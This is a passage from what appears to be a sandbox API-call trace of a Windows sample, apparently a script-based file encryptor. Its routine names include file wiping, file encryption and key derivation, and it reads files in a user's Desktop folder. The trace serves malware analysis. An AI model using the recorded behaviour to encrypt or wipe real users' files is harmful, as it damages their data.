lpMsg=0xe8f3dfe990) returned 0 [0021.797] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.797] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0021.797] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.797] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0021.797] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0021.797] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0021.797] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.797] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0021.797] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0021.797] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.797] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0021.797] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0021.797] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0021.797] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0021.797] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0021.797] CryptReleaseContext (hProv=0xe8f40632e0, dwFlags=0x0) returned 1 [0021.798] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.798] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0021.798] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0021.798] FreeLibrary (hLibModule=0x7ffe2a590000) returned 1 [0021.798] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.798] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.798] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.798] CloseHandle (hObject=0x188) returned 1 [0021.798] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.806] CloseHandle (hObject=0x1fc) returned 1 [0021.817] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.819] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0021.819] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0021.819] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.819] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\-Kar\\MBc0Rw8Uo_Of3f5.wav" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\-kar\\mbc0rw8uo_of3f5.wav")) returned 0x20 [0021.820] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.820] FindFirstFileW (in: lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\-Kar\\MBc0Rw8Uo_Of3f5.wav", lpFindFileData=0xe8f3dfe860 | out: lpFindFileData=0xe8f3dfe860) returned 0xe8f4069fb0 [0021.820] FindClose (in: hFindFile=0xe8f4069fb0 | out: hFindFile=0xe8f4069fb0) returned 1 [0021.820] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.820] CharLowerBuffW (in: lpsz="byte[80200]", cchLength=0xb | out: lpsz="byte[80200]") returned 0xb [0021.821] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.821] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0021.821] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.821] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0021.822] LoadLibraryW (lpLibFileName="msvcrt.dll") returned 0x7ffe2a8b0000 [0021.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="memset", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0021.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="memset", cchWideChar=7, lpMultiByteStr=0xe8f40648b0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="memset", lpUsedDefaultChar=0x0) returned 7 [0021.822] GetProcAddress (hModule=0x7ffe2a8b0000, lpProcName="memset") returned 0x7ffe2a8b1690 [0021.822] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.822] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.822] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.822] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0021.822] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.822] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.822] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.822] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.822] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.822] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.822] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.822] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.822] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.822] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.822] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.822] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.822] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.822] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.823] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.823] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.823] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0021.823] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.823] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.823] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.823] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0021.823] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.823] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0021.823] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.823] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.823] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.823] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.823] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0021.823] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.823] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0021.823] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.823] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.824] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.828] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.828] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0021.828] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0021.828] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0021.828] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0021.828] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0021.828] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0021.828] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0021.828] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0021.828] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=118) returned 1 [0021.828] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0021.829] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0021.829] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0021.829] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x76, lpOverlapped=0x0) returned 1 [0021.829] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0021.829] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x76, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0021.829] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=118) returned 1 [0021.829] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0021.829] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0021.829] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0021.829] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0021.829] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0021.829] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0021.829] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0021.829] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0021.829] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0021.829] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0021.829] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0021.829] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0021.829] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0021.829] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0021.829] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0021.829] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0021.829] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0021.829] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0021.829] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0021.830] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0021.830] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0021.830] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0021.830] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0021.830] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0021.830] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0021.830] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0021.830] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0021.830] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0021.830] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0021.830] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0021.830] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.830] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.830] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0021.830] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.830] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0021.830] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0021.830] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.830] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.830] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.830] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0021.830] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0021.830] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0021.830] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.830] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.830] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0021.830] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0021.830] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0021.831] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40633c0) returned 1 [0021.831] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.831] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.831] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0021.831] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0021.831] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0021.831] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0021.831] CharUpperBuffW (in: 